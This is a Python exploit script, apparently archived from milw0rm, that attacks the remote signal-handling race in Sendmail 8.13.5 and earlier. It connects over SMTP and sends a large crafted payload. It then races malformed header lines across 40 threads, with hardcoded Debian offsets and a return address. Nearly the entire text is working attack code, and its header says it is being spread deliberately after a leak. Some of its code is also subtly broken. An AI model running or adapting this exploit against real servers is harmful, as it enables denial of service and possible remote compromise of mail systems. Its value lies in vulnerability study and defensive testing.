#!/usr/bin/env python
#
# redsand@blacksecurity.org
# Sendmail 8.13.5 and below Remote Signal Handling exploit
# usage: rbl4ck-sendmail.py 127.0.0.1 0 25
#
#
# this exploit was leaked to the PHC (Phrack High Council)
# so instead of only letting them have a copy, we figure
# everyone should have what they have.
#
# :-)
#
# several of the tested operating systems appear to crash at a static
# string in memory and we were unable to shift the location of that crash.
# However, Fedora gives us a nice sexy soft spot to land, one that allows us
# to control the flow of code execution
# this is only a proof of concept
#
import os, sys, socket, time, select, string, errno, threading
IP="127.0.0.1"
PORT=25
fromdd = "w00t@bex.redsand.net"
def_arch = 0
def_timeout = (60 * 60) * 2 # 2 hrs
#def_timeout = 5 # 5 seconds
domain = "localhost"
total_time = None
threshold = 2.5
guess_timeout = 4.0
threads = 40
arch = [
{ 'OS':'Debian 3.0-r1', 'offset':190, 'pad':28, 'return':0xbfbfdad1L }
]
argc = len(sys.argv)
if(argc > 1):
IP = sys.argv[1]
if(argc > 2):
def_arch = int(sys.argv[2])
if(argc > 3):
PORT = int(sys.argv[3])
def ia32(o):
s=''
w=chr(i % 256)
o = o >> 8
x=chr(i % 256)
o = o >> 8
y=chr(i % 256)
o = o >> 8
z=chr(i % 256)
s = "%c%c%c%c" % (w,x,y,z)
return s
def substr(i, str, off):
top=i[:off]
end=i[off+len(str):]
s = top + str + end
return s
def rout( str):
print ("[bl4ck]: " + str)
def mbanner():
rout("Sendmail 8.13.5 and below Remote Signal Handling exploit by redsand@blacksecurity.org")
rout("Supported Operating Systems:")
p = 0
for i in arch:
rout("{%r} %s" % (p, i['OS']))
p += 1
def rsend( s, str, p=True):
sent = s.send(str )
#sent = s.send(str + "\r\n")
if sent == 0:
rout("socket send() failed")
if(p):
rout("Sent Request: \r\n\r\n%s\r\n" % str)
def probe(sock):
str = "HELO blacksecurity.org\r\nMAIL FROM: <%s>\r\nRCPT TO: root@%s\r\nDATA\r\n" % (fromdd,domain)
rsend(sock,str)
def payload(size=32764):
ret = "\x7f" * size
i = 0
while i < size :
ret = substr(ret,": ",100 + i)
ret = substr(ret,"\r\n",200 + i)
i += 202
ret += "\r\n"
return ret
class rSendmail( threading.Thread) :
thres = threshold
do_exit = False
btime = None
etime = None
state = 0
total_time = 0
def __init__(self, thresh=0):
if not thresh == 0:
self.thres = thresh
threading.Thread.__init__ ( self )
def rrecv(self,s, response=None):
buf = ''
try:
buf = s.recv(2048)
except socket.error, (ecode, reason):
#rout("Socket failure %r:%s" % (ecode, reason))
return False
if buf == '':
return False
rout("Reading response: \r\n\r\n%s\r\n" % buf[0:-2])
msg = buf[0:-2].split("\r\n")
for m in msg:
k = m[0:3]
if (k != None) and (k != '') and (k != "\x7f\x7f\x7f"):
code = int(m[0:3])
else:
code = 0
if( code == 354 and self.state == 0 ):
self.btime = time.time()
self.state += 1
return True
elif( code == 451 and self.state == 1):
self.etime = time.time()
self.state += 1
return True
elif( code == 451 and self.state == 4):
self.state += 1
return True
elif( code == 354 and self.state == 3):
self.state += 1
return True
if (self.state == 5):
self.state += 1
rout("Debug error, unable to escalate state")
self.stop()
return False
if(response != None):
rsend(s,response)
def stop(self):
self.do_exit = True
def run (self ):
rout("Connecting to %s:%r" % (IP,PORT))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setblocking(0) # non-blocking 0hn0
try:
sock.connect((IP, PORT))
except socket.error, (ecode, reason):
if ecode in (115, 150): pass
else:
rout("Error %r:%s" % (ecode,reason))
return
ret = select.select([sock],[sock],[], def_timeout)
if len(ret[1]) == 0 and len (ret[0]) == 0:
sock.close()
rout("Timed out on connect")
return
rout("Setting non-blocking options with a default timeout of %r seconds" % def_timeout)
xplbuf = "\xAF\xBE\xAD\xDE"
probe1 = False
probe2 = False
pump = False
while not self.do_exit:
readsock, writesock, err = select.select([sock],[sock],[], def_timeout)
if len(readsock) > 0:
for s in readsock:
self.rrecv(s)
if len(writesock) > 0:
for s in writesock:
if(self.state == 0):
if not probe1:
probe(s) # rsend(s,"HELO")
probe1 = True
break
if(self.state == 1):
if not pump:
pump = True
time.sleep(guess_timeout - (0.9))
rsend(s,payload(32764) + "\r\n", False)
rout("Sending heavy load")
break
if(self.state == 2):
# measure timeout
# wait = end - start
# where end is time of code 451 & start is 354 go ahead
self.total_time = (self.etime - self.btime) + self.thres
#self.total_time = (self.etime - self.btime)
self.state += 1
if(self.state == 3):
if not probe2:
rsend(s,"\n")
probe(s)
probe2 = True
break
if(self.state == 4):
## race here
# send bad header
# lets wait
rsend(s, xplbuf + "\r\n")
rout("Sleeping...")
time.sleep(self.total_time)
rsend(s, xplbuf + "\r\n")
rout("Sent race-request")
self.state = 5
break
if(self.state == 5):
rout("State reached stage: %r" % self.state)
rout("Total wait time: %s" % self.total_time)
self.stop()
break
self.stop()
return
mbanner()
t_list = []
t = threshold
opc = 0
while threading.activeCount() < threads:
opc += 1
rout("Starting Thread: %r with time+offset: %r" % (opc, t))
m = rSendmail(t)
m.start()
t += 0.2
time.sleep(5)
sys.exit(5) # success ??
"""
buf = ""
atom = "\\\xff" * int(arch[def_arch]['pad'])
idx = 256 * 4
newtag=substr(xpl[idx:],ia32(arch[def_arch]['return']), int(arch[def_arch]['offset']))
xpl=substr(xpl, newtag, idx)
xpl=substr(xpl,atom,len(xpl))
"""
# milw0rm.com [2006-07-21]